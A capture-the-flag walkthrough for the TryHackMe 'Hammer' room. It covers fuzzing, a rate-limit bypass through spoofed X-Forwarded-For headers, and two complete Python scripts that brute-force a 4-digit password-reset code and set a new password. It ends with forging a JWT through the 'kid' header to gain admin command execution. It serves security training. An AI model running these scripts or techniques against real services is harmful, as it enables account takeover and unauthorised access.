Introduction

Detailed walkthroughs for HAMMER CTF challenges on TryHackMe .

Summary

Hammer started with discovering a log file on the web application with fuzzing and an email address inside. With a valid email address in hand, we were able to request a password reset for the user. After bypassing the rate limit to be able to brute-force the password recovery code, we were successful in resetting the password for the user and accessing the dashboard. After gaining access to the dashboard, we used forged JWTs to escalate our role from user to admin to be able to run commands and completed the room.

Tools Used

rustscan, ffuf, curl, nc, wget, hexeditor, steghide, ssh

Enumaration

nmap -T4 -n -sC -sV -Pn -p- 10.10.63.156
    

Lets start with mapping the target ip with hammmer.


    Open 10.10.63.156:22
    Open 10.10.63.156:1337
    [>] Running script "nmap -vvv -p {{port}} {{ip}} -sC -sV" on ip 10.10.63.156
    
    PORT   STATE SERVICE REASON         VERSION
    22/tcp open  ssh     syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 96:97:2f:db:56:5e:4e:5b:d5:f3:75:47:46:96:ac:e5 (RSA)
    | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4WNbSymq7vKwxstoKDOXzTzNHnE4ut9BJPBlIb44tFvtMpfpXDF7Bq7MT9q4CWASVfZTw763S0OrtvpBFPpN/4eOvlircakFfkR3hZk7dHOXe8+cHXDth90XnMa2rq5CfxwinqP/Mo67XcpagbpU9O5lCatTMPWBUcEhIOXY8aUSMkmN6wRYSxdI40a4IYsjRqkqsdA6yaDQBSx+ryFRXwS9+kpUskAv452JKi1u2H5UGVX862GC1xAYHapKY24Yl6l5rTToGqTkobHVCv6t9dyaxkGtc/Skoi2mkWE/GM0SuqtbJ9A1qhSrfQRNpcIJ6UaVhDdUeO3qPX2uXPyLrY+i+1EgYEsRsxD5ym0bT1LPby8ONPduBEmZfnNoN5IBR05rQSSHhj349oNzDC4MRn2ygzOyx0n0c7wqffaAuohbu0cpeAcl5Nwb/Xw42RABDFQx08CttjNmtPMK/PqFt+H4nubyp7P8Pwctwi3wLf2GbU1lNgT0Ewf2GnfxY5Bs=
    |   256 83:3b:7a:7a:9c:61:8b:19:ef:77:11:1f:28:c0:bf:05 (ECDSA)
    | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC+IqWgEnT5Asc+8VrYsQACkIjP+2CKuoor+erbKjpKwM8+X+1TPuwG56O6LxOLXeS2/pFjv9PBFI1oqHKa4GNw=
    |   256 db:30:10:99:b1:71:85:59:21:5a:67:21:6d:98:f3:b6 (ED25519)
    |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHQa5m2TxGI3a9ZwhAd0zWsAYwCsYANdo6fgpS8XiJKL
    1337/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
    | http-methods: 
    |_  Supported Methods: OPTIONS HEAD GET POST
    |_http-title: Login
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

Lets start with rustscan, we found 2 open ports - port 22(ssh) and port 1337(HTTP) and the operating system used is Linux. Lets start with HTTP.

hammer Login Page

Clicking on the Forgot your password?, we get redirected to http://10.10.63.156:1337/reset_password.php where we see a form to input user email for a password reset.

Forgot your password page

Testing the form with a random email address, we get the message: Invalid email address!

Invalid email address page

First Flag

Discovering the Email

Checking the source code for http://10.10.63.156:1337/, we see a note left by the developer about the naming convention.

ctl + u

Using ffuf to fuzz for any directories following this naming convention, we discover /hmr_logs.

$  ffuf -u 'http://10.10.63.156:1337/hmr_FUZZ' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -t 100 -mc all -ic -fw 23
    ...
    css        [Status: 200, Size: 2573, Words: 232, Lines: 64, Duration: 169ms]
    js         [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 146ms] # directory
    images     [Status: 200, Size: 2056, Words: 142, Lines: 72, Duration: 157ms]
    logs       [Status: 200, Size: 2580, Words: 180, Lines: 88, Duration: 148ms]
    

Looking at the http://10.10.63.156:1337/hmr_logs/, file indexing is enabled and there is a single file named errors.log.

some logs

Reading the errors.log file, we discover an email address: tester@hammer.thm


$ curl -s 'http://10.10.63.156:1337/hmr_logs/error.logs'
[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down

Bypassing the Rate Limit

Now that we discovered a valid email address, we can try to reset the password for the user at http://10.10.63.156:1337/reset_password.php.

After submitting the email, we see a new form, this time asking for a 4-digit recovery code.

OTP Auth Page

Since it is only a 4-digit code, we should be able to brute-force it easily. However, if we attempt to do so, we will first notice the Rate-Limit-Pending header in the response.

If we continue to make requests in quick succession, we will see it decreasing.

And when it reaches zero, we see that now we are getting rate-limited.

So, if we want to brute-force the recovery code, we need to figure out a way to bypass the rate limit.

Trying out different common methods for it, we have success using the X-Forwarded-For header.

First, we can see that we are rate-limited.

But if we add the X-Forwarded-For: 127.0.0.1 header, we can see the rate limit counter being reset.

Of course, once this counter also reaches zero, we will be once again rate-limited.

But simply changing the IP address in the header, we are able to reset the counter once more.

Brute-forcing the Code

Now that we found a way to bypass the rate limit, I wrote a Python script for brute-forcing the recovery code

File: brute-forcing.py

#!/usr/bin/env python3

import requests
import random
import threading

url = "http://10.10.63.156:1337/reset_password.php"
stop_flag = threading.Event()
num_threads = 50


def brute_force_code(session, start, end):
    for code in range(start, end):
        code_str = f"{code:04d}"
        try:
            r = session.post(
                url,
                data={"recovery_code": code_str, "s": "180"},
                headers={
                    "X-Forwarded-For": f"127.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}"
                },
                allow_redirects=False,
            )
            if stop_flag.is_set():
                return
            elif r.status_code == 302:
                stop_flag.set()
                print("[-] Timeout reached. Try again.")
                return
            else:
                if "Invalid or expired recovery code!" not in r.text:
                    stop_flag.set()
                    print(f"[+] Found the recovery code: {code_str}")
                    print("[+] Printing the response: ")
                    print(r.text)
                    return
        except Exception as e:
            #print(e)
            pass


def main():
    session = requests.Session()
    print("[+] Sending the password reset request.")
    session.post(url, data={"email": "tester@hammer.thm"})
    print("[+] Starting the code brute-force.")
    code_range = 10000
    step = code_range // num_threads
    threads = []
    for i in range(num_threads):
        start = i * step
        end = start + step
        thread = threading.Thread(target=brute_force_code, args=(session, start, end))
        threads.append(thread)
        thread.start()
    for thread in threads:
        thread.join()


if __name__ == "__main__":
    main()

First, it makes a password reset request for tester@hammer.thm. After that, it starts multiple threads to try different recovery codes with randomly generated IP addresses for the X-Forwarded-For header, and if it finds the right code, it prints the response to it, so we can see the next step.

Running the script, we see the next step after entering a valid code: a form for setting a new password.

$ python3 brute_force_code.py
[+] Sending the password reset request.
[+] Starting the code brute-force.
[+] Found the recovery code: 6545
[+] Printing the response:
....

Resetting the Password

Now that we know the next step after brute-forcing the code, we can modify our script a bit to also submit a new password upon discovering the valid code.

File : reset_pass.py

#!/usr/bin/env python3

import requests
import random
import threading

url = "http://10.10.63.156:1337/reset_password.php"
stop_flag = threading.Event()
num_threads = 50


def brute_force_code(session, start, end):
    for code in range(start, end):
        code_str = f"{code:04d}"
        try:
            r = session.post(
                url,
                data={"recovery_code": code_str, "s": "180"},
                headers={
                    "X-Forwarded-For": f"127.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}"
                },
                allow_redirects=False,
            )
            if stop_flag.is_set():
                return
            elif r.status_code == 302:
                stop_flag.set()
                print("[-] Timeout reached. Try again.")
                return
            else:
                if "Invalid or expired recovery code!" not in r.text and "new_password" in r.text:
                    stop_flag.set()
                    print(f"[+] Found the recovery code: {code_str}")
                    print("[+] Sending the new password request.")
                    new_password = "password123"
                    session.post(
                        url,
                        data={
                            "new_password": new_password,
                            "confirm_password": new_password,
                        },
                        headers={
                            "X-Forwarded-For": f"127.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}"
                        },
                    )
                    print(f"[+] Password is set to {new_password}")
                    return
        except Exception as e:
            # print(e)
            pass


def main():
    session = requests.Session()
    print("[+] Sending the password reset request.")
    session.post(url, data={"email": "tester@hammer.thm"})
    print("[+] Starting the code brute-force.")
    code_range = 10000
    step = code_range // num_threads
    threads = []
    for i in range(num_threads):
        start = i * step
        end = start + step
        thread = threading.Thread(target=brute_force_code, args=(session, start, end))
        threads.append(thread)
        thread.start()
    for thread in threads:
        thread.join()


if __name__ == "__main__":
    main()

Running the modified script, we were successful at brute-forcing the recovery code once more and resetting the password.

$ python3 reset_password.py
[+] Sending the password reset request.
[+] Starting the code brute-force.
[+] Found the recovery code: 4401
[+] Sending the new password request.
[+] Password is set to password123

Using these new credentials to login at http://10.10.63.156:1337/index.php, we get redirected to http://10.10.63.156:1337/dashboard.php where we get our first flag.

Second Flag

Discovering the Key File

After gaining access to the dashboard, we see a form for running commands, but before we are able to run anything, we will be redirected back to http://10.10.63.156:1337/index.php. Checking the source code for http://10.10.63.156:1337/dashboard.php, we can see it is due to this script:

Since it is a client-side script, we can use Burp to intercept the response while logging in and simply comment out the line responsible for logging us out.

After that, if we try to execute any commands, we see this is the request made to the http://10.10.63.156:1337/execute_command.php endpoint. Weirdly, it redirects us to the /logout.php.

Also looking at the source code for http://10.10.63.156:1337/dashboard.php, we can see the script responsible for making the request.

$(document).ready(function() {
    $('#submitCommand').click(function() {
        var command = $('#command').val();
        var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MDY3NzY4LCJleHAiOjE3MjUwNzEzNjgsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.tVSPlVoWVHQjxxEL_QgxXleQDbO9t40MzlnfXWLrYCE';

        // Make an AJAX call to the server to execute the command
        $.ajax({
            url: 'execute_command.php',
            method: 'POST',
            data: JSON.stringify({ command: command }),
            contentType: 'application/json',
            headers: {
                'Authorization': 'Bearer ' + jwtToken
            },
            success: function(response) {
                $('#commandOutput').text(response.output || response.error);
            },
            error: function() {
                $('#commandOutput').text('Error executing command.');
            }
        });
    });
});

Well, the script we commented out was dealing with the persistentSession cookie, which is absent in our request to the http://10.10.63.156:1337/execute_command.php and looking at our login request, we can see why. While it sets this cookie for us, it sets it with a very short lifespan.

Adding this cookie back to the http://10.10.63.156:1337/execute_command.php request, this time we get the Command not allowed error.

We can save the execute command request to a file using Burp as such after modifying the command parameter to be able to fuzz allowed commands easily.

Now, we can use the saved request with ffuf to fuzz for any commands we can run using the linux-commands-merged.txt wordlist.

$ ffuf -request execute_command.req -request-proto http -w linux-commands-merged.txt -fr 'Command not allowed'
...
ls                      [Status: 200, Size: 179, Words: 1, Lines: 1, Duration: 93ms]
...

It seems ls is the only command we can run, and running it, we get a list of files in the current directory.

Among the listed files, 188ade1.key seems interesting; we can read it with curl.

$ curl -s 'http://10.10.63.156:1337/188ade1.key'
56058354efb3daa97ebab00fabd7a7d7

Examining the JWT

Since executing commands didn’t lead us anywhere, let’s focus on the JWT.

If we try to modify the signature in the JWT or anything in the data, we get the Invalid token error.

Examining the JWT using JWT.IO, there are two interesting parts:

Forging JWT to RCE

The kid parameter presumably points to a file on the server, which holds the key used for signing and verifying the JWTs.

We can try changing it to the key file we discovered before and can use it’s contents as the key for signing our token.

Testing the token we forged, we see it works as we don’t get the Invalid token error.

Now that we are able to forge tokens, we can change our role in the token data from user to admin.

Using this token on the http://10.10.63.156:1337/execute_command.php endpoint, we are now able to execute commands other than the ls.

With this, we are able to read the second flag at /home/ubuntu/flag.txt and complete the room.